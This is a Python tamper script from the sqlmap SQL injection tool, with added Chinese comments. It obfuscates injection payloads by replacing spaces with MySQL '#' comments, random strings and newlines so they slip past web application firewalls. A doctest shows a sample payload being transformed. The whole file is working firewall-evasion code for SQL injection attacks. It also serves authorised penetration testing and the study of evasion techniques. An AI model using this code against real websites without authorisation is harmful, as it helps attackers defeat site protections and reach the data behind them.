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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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import random
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import re
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import string
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from lib.core.common import singleTimeWarnMessage
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from lib.core.compat import xrange
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from lib.core.data import kb
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
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__priority__ = PRIORITY.LOW
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def dependencies():
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"""
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检查是否满足脚本运行的条件
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"""
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# 输出警告信息，提示tamper脚本只适用于MySQL版本大于5.1.13
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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def tamper(payload, **kwargs):
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"""
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Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
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Requirement:
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* MySQL >= 5.1.13
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Tested against:
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* MySQL 5.1.41
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Notes:
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* Useful to bypass several web application firewalls
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* Used during the ModSecurity SQL injection challenge,
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http://modsecurity.org/demo/challenge.html
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>>> random.seed(0)
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>>> tamper('1 AND 9227=9227')
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'1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227'
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"""
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def process(match):
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"""
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处理匹配到的单词
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"""
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word = match.group('word')
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randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
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# 如果匹配到的单词在关键词列表中，并且不在忽略空格影响的关键词列表中，则替换为随机字符串
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if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
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return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
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else:
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return match.group()
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retVal = ""
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# 如果payload存在，则进行替换
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if payload:
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payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload)
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# 遍历payload中的每个字符
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for i in xrange(len(payload)):
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# 如果字符是空格，则替换为随机字符串
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if payload[i].isspace():
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randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
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retVal += "%%23%s%%0A" % randomStr
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# 如果字符是#或者字符是--，则将payload中剩余的字符添加到retVal中，并跳出循环
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elif payload[i] == '#' or payload[i:i + 3] == '-- ':
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retVal += payload[i:]
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break
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# 否则将字符添加到retVal中
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else:
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retVal += payload[i]
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return retVal
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